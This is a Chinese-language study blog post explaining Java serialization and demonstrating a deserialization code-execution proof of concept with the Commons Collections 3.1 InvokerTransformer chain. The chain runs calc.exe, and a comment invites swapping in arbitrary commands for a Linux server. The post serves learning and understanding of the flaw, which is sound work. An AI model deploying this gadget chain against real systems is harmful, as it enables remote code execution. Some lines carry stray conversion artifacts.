之前去面試被問反序列化的原理只是籠統地答在參數中注入一些代碼當其反序列化時被執行,其實「一些代碼」是什麼代碼「反序列化」時爲何就會被執行並不懂;反來在運營商作乙方常常會由於java反反序列化漏洞要升級commons.collections或給中間件打補丁,前面說的兩個問題仍是不懂;今天又研究了番,也還不是很懂只是能彈計算器暫且先記一下。html
序列化和反序列化應該是在學《java網絡編程》的時候就寫過了,所謂序列化就是把對象從內存寫到磁盤文件或數據庫,反序列化就是從磁盤文件或數據庫讀取對象。注意序列化和反序列化都是針對對象不是類也不方法。java
一直不明白爲件麼保存到文件要另外起個名字「序列化」,因此在至關長一段時間內都不敢確定序列化就是寫文件。如下直接舉例明確序列化與反序列化的概念。linux
咱們這裏使用的類很簡單,就只設置了一個叫name的屬性;另外凡須要序列化的類都須要實現Serializable接口web
package com.ls.serdemo;
import java.io.Serializable; class SerObj implements Serializable { public String name; }
序列化,咱們這裏就是實例化2.1中的SerObj類設置一下其name屬性,而後保存到object.ser文件面試
package com.ls.serdemo;
import java.io.*; public class SerImp { public static void main(String args[]) throws Exception{ // 實例化對象 SerObj serObj = new SerObj(); serObj.name = "serobj"; // 如下就是序列化操做 // 打開object.ser文件 FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); // 使用writeObject()方法將serObj對象寫到object.ser文件 oos.writeObject(serObj); oos.close(); fos.close(); } }
完成後object.ser內容以下:數據庫
package com.ls.serdemo;
import java.io.*; public class DeSerImp { public static void main(String args[]) throws Exception{ // 如下就是反序列化操做 // 打開object.ser文件 FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); // 使用從object.ser文件中讀取對象 SerObj deSerObj = (SerObj) ois.readObject(); System.out.println(deSerObj.name); ois.close(); fis.close(); } }
運行能夠看到成功打印name屬性apache
反序列化漏洞不是java獨有的其餘語言也會有,但都同樣是在反序列化時執行了注入的代碼。編程
反序列化漏洞注入代碼也不僅一種形式,咱們這裏只以InvokerTransformer爲例進行演示。安全
爲了簡單起見這裏沒弄成web形式,但道理是相似的只是一個經過網絡傳數據一個經過磁盤傳數據;咱們這裏只重寫SerObj類和SerImp類,反序列化仍用2.3的代碼。服務器
建議直接建maven項目,commons.collections相應pom.xml依賴:
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
3.2版本將InvokerTransformer標誌爲不安全,使用時會拋出異常;4.4版本彷佛已直接刪除該函數(此即所謂java反序列化漏洞修復)。因此只能使用3.1版本。
另外網上不少教程不是使用這裏「重寫類」的方法,而是直接藉助sun.reflect.annotation.AnnotationInvocationHandler實現代碼執行,但在最新的jdk中彷佛是進行了處理,至少我使用AnnotationInvocationHandler時沒能彈出計算器,具體未分析。
package com.ls.serdemo; import java.io.*; import java.util.HashMap; import java.util.Map; // 用到的commons.collections包 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class DeSerPoc { public static void main(String args[]) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // 執行calc.exe,把這裏改爲本身要執行的命令便可;服務器是linux就以成linux命令 new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"}) }; Transformer transformedChain = new ChainedTransformer(transformers); Map<String,String> beforeTransformerMap = new HashMap<String,String>(); beforeTransformerMap.put("value", "value"); Map afterTransformerMap = TransformedMap.decorate(beforeTransformerMap, null, transformedChain); // SerObjRewrite中的setValue能觸發afterTransformerMap中的代碼的執行 SerObjRewrite serObj = new SerObjRewrite(); serObj.map = afterTransformerMap; // 將對象寫入到object.ser FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(serObj); oos.close(); } } // 重寫SerObj類,其實也不叫重寫就隨便新實現一個序例化類,重寫序列化類的readObject方法,該方法在反序列化時會被自動調用 // 在readObject中調用setValue,setValue能觸發注入代碼的調用,這正是代碼注入的關鍵 class SerObjRewrite implements Serializable { // name無關緊要,又不是真重寫 public String name; public Map map; private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException , IOException { in.defaultReadObject(); if(map != null){ Map.Entry e = (Map.Entry)map.entrySet().iterator().next(); e.setValue("400m"); } } }
此時object.ser(部分)內容以下:
再次運行2.3的反序例化代碼,執行結果以下。
因爲咱們序例化的時候實際上是SerObjRewrite類而不是SerObj類因此程序會報錯,但這無所謂由於是先執行的readObject後執行的類型轉換,注入代碼在程序類型轉換出錯前已被執行。
參考: